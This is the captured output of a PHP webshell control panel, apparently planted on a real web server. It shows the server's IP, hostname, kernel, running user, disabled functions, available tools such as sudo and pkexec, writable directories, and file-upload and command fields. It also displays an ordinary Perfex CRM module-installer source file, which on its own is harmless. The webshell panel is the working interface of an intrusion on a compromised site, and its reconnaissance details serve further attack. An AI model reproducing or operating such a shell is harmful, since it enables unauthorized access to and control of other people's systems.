403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app.houseland.info/application/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.houseland.info/application/libraries/App_module_installer.php
<?php

defined('BASEPATH') or exit('No direct script access allowed');

use app\services\zip\Unzip;

class App_module_installer
{
    private $ci;

    public function __construct()
    {
        $this->ci = &get_instance();
    }

    /**
     * Upload module
     * @return array
     */
    public function from_upload()
    {
        if (isset($_FILES['module']) && _perfex_upload_error($_FILES['module']['error'])) {
            return [
                    'error'   => _perfex_upload_error($_FILES['file']['error']),
                    'success' => false,
            ];
        }

        if (isset($_FILES['module']['name'])) {
            hooks()->do_action('pre_upload_module', $_FILES['module']);

            $response = ['success' => false, 'error' => ''];

            // Get the temp file path
            $uploadedTmpZipPath = $_FILES['module']['tmp_name'];

            $unzip = new Unzip();

            $moduleTemporaryDir = get_temp_dir() . time() . '/';

            try {
                $unzip->extract($uploadedTmpZipPath, $moduleTemporaryDir);

                if ($this->check_module($moduleTemporaryDir) === false) {
                    $response['error'] = 'No valid module is found.';
                } else {
                    $unzip->extract($uploadedTmpZipPath, APP_MODULES_PATH);
                    hooks()->do_action('module_installed', $_FILES['module']);
                    $response['success'] = true;
                }

                $this->clean_up_dir($moduleTemporaryDir);
            } catch (Exception $e) {
                $response['error'] = $e->getMessage();
            }

            return $response;
        }
    }

    public function check_module($source)
    {
        // Check the folder contains at least 1 valid module.
        $modules_found = false;

        $files = get_dir_contents($source);

        if ($files) {
            foreach ($files as $file) {
                if (endsWith($file, '.php')) {
                    $info = $this->ci->app_modules->get_headers($file);
                    if (isset($info['module_name']) && !empty($info['module_name'])) {
                        $modules_found = true;

                        break;
                    }
                }
            }
        }

        if (!$modules_found) {
            return false;
        }

        return $source;
    }

    private function clean_up_dir($source)
    {
        delete_files($source);
        delete_dir($source);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit